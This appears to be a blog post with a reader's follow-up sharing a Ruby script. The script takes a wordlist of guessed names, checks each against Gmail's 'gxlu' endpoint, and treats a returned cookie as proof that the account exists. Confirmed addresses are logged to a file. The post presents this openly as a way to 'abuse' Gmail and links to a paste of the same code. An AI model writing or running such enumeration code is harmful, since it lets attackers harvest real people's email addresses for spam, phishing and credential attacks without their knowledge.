Abusing Gmail to get previously unlisted e-mail addresses
x0rz
7711

Hey i forgot my pass and the email on the account I originally posted on T uesday ( i have like 20 emails) but I found that u dont even need to put “@gmail.com” it automatically assumes that its gmail. I thought I would just share my finding. For those who do not trust the link I posted on Tuesday here’s my script.

You will need a few gems, to install them you use “gem install colorize”

where colorize is you insert the gem name you want. Anywho, have a good Easter if you celebrate it. :)

The link: http://textuploader.com/drovm

require’rubygems’
require “net/http”
require “uri”
require ‘open-uri’
require’colorize’

def file(email)
 saveEmails = File.open(“Accouts1.txt”, “a”) # if exist it will save here
 saveEmails << email + “\n”
 puts”saved to file”
end
 read = File.open(“test.txt”, “r”) # you keep the wordlist here.
 read.each do |email|
begin

main_url = “https://mail.google.com/mail/gxlu?email=" + email.to_s

uri = URI.parse(main_url)
response = Net::HTTP.get_response(uri)

cookie = response[‘set-cookie’]
rescue 
end
if cookie.nil?
 puts
 puts”===================”
 puts”Email:#{email}”
 puts”Not account”.red
 puts”===================”
 puts
else 
 puts
 puts”===================”
 puts”Email:#{email}”
 puts”account”.green
 puts”===================”
 puts

end
end

#Written By Mclovin It

Show your support

Clapping shows how much you appreciated Dude Dur3’s story.